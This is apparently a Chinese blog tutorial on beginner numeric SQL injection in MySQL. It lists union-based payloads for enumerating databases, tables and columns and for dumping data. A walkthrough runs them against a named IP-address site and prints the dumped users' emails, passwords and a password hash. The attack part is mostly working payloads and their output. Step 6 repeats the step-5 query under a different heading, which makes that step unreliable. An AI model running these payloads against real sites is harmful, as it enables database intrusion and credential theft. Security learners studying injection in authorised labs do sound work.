sql注入入门学习(数字型)(连载中)

判断sql注入

1.提交单引号
2.and大法和or大法
3.加法和减法,加号  %2b

数据库权限判断

and ord(mid(user(),1,1))=114
//或者
and (select count(*) from mysql.user)>0

判断字段数

用union联合查询

and 1=1 union select 1,2,3,4,5……
union select null,null,null.....

用order by 查询

order by 1,2,3,4

查询库名

判断数据库版本
and ord(mid(version(),1,1))>51 
直接使用mysql自带函数database()查询得到数据库名
union select 1,database(),3 limit 1,1
得到所有的数据库名
union select null,schema_name,null from information_schema.schemata
获取第一个库名
and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,1

查询表名

在MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表

group_concat

and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'
或者
union select null,table_name,null from information_schema.tables where table_schema='test'

查询字段

在MySQL中,字段名存放在information_schema数据库下columns表column_name字段中,这里使用的是columns表。

and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='sqltest'
或者
union select null,column_name,null from information_schema.columns where table_schema='test' and table_name='admin'

查询数据

and 1=2 union select 1,group_concat(id,user,pwd),3 from admin
或者
union select null,title,content from sqltest
或者
and 1=2 union select 1,2,concat(user,0x3c,pwd) from admin

实战演练

打开网站http://43.247.91.228/content-1/index.php?id=0,我们在这里做注入练习

1.首先加单引号报错,可知存在明显的注入漏洞

2.输入and ord(mid(user(),1,1))=114不报错,可知数据库的权限是root权限,并且具有可读可写的权限

3.输入 and 1=1 union select 1,2,3,4,5,6,7,8不报错,可以发现这个表的字段有8个

4.使用and 1=2 union select null,schema_name,null ,null,null,null,null,null from information_schema.schemata limit 1,1;--;--注释了后面的语句,可以获取所有的数据库名,可以知道当前执行查询用户名为root@localhost(user()函数), 当前使用的数据库是inject,下面列出所有数据库

  • information_schema
  • inject
  • mysql
  • performance_schema

5.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--获取所有的表名,下面列出所有的表

  • users

6.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--获取所有的字段,下面列出所有的字段

  • idusers
  • name
  • email
  • password
  • ua
  • ref
  • host
  • lang

7.接下来就到最后最重要的一步了,获取所有数据,and 1=2 union select 1,group_concat(idusers,name,email,password,ua,ref,host,lang),3,4,5,6,7,8 from users;--

获取到的数据如下:

0adminadmin@getmantra.comadminBrick_Browserhttp://127.0.0.1/release-channel/content-13/index.php127.0.0.1en,1tomtom@getmantra.comtomBlock_Browser8.8.8.8en,2ronron@getmantra.comronRain_Browser192.168.1.1en,3harryharry@getmantra.com5f4dcc3b5aa765d61d8327deb882cf99Mantra127.0.0.1en

可以看出来这些应该就是数据表中所有的数据了,但是怎么格式化我并不会,希望看到这篇文章的大佬们能帮我解决一下,请给我发邮件:dandingkeji.top@gmail.com

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏小怪聊职场

MySQL(一)|性能分析方法、SQL性能优化和MySQL内部配置优化

780100
来自专栏Porschev[钟慰]的专栏

Nodejs学习笔记(四)--- 与MySQL交互(felixge/node-mysql)

简介和安装   Node.js与MySQL交互操作有很多库,具体可以在 https://www.npmjs.org/search?q=mysql  查看。   ...

53590
来自专栏我的博客

PHP Mysql函数汇总表

mysql_affected_rows — 取得前一次 MySQL 操作所影响的记录行数mysql_change_user —  改变活动连接中登录的用户mys...

39750
来自专栏大眼瞪小眼

面试-MySQL总结

2NF:每一个非主属性完全依赖于候选码(属性组的值能唯一的标识一个元组,但是其子集不可以)。

11330
来自专栏python成长之路

mysql在ubuntu中的操作笔记(详)

17440
来自专栏好好学java的技术栈

玩转springboot:整合mybatis实例

这篇文章讲解一下springboot整合mybatis,其实,springboot整合mybatis和springmvc整合mybatis并没有什么太大的区别,...

16230
来自专栏沃趣科技

配置表 | 全方位认识 sys 系统库

在上一篇《初相识 | 全方位认识 sys 系统库》中,我们针对sys 系统库做了一个不痛不痒的开端,是不是觉得太简单了?别急,本期我们将为大家带来系列第二篇《配...

14730
来自专栏C/C++基础

ERROR 1062 (23000) at line 1: Duplicate entry '1332883220' for key 'group_key'

我有一个数据表,记录一个QQ号加好友的活跃天数、加好友次数、加好友的toUin数等信息。数据表的建表语句如下:

17840
来自专栏数据和云

【动手实践】Oracle 12.2 新特性:自动的列表分区创建

2017年来了,我们要启动新的学习征程了。在过去我们一直思考,什么样的内容能够更帮助大家了解和学习到有用的知识? 这个『动手实践』栏目就是这样一个改进和尝试吧,...

30260
来自专栏java达人

PostgreSQL中的Schema

一个数据库包含一个或多个命名的模式,模式又包含表。模式还包含其它命名的对象,包括数据类型、函数,以及操作符。同一个对象名可以在不同的模式里使用而不会导致冲突;...

22190

扫码关注云+社区

领取腾讯云代金券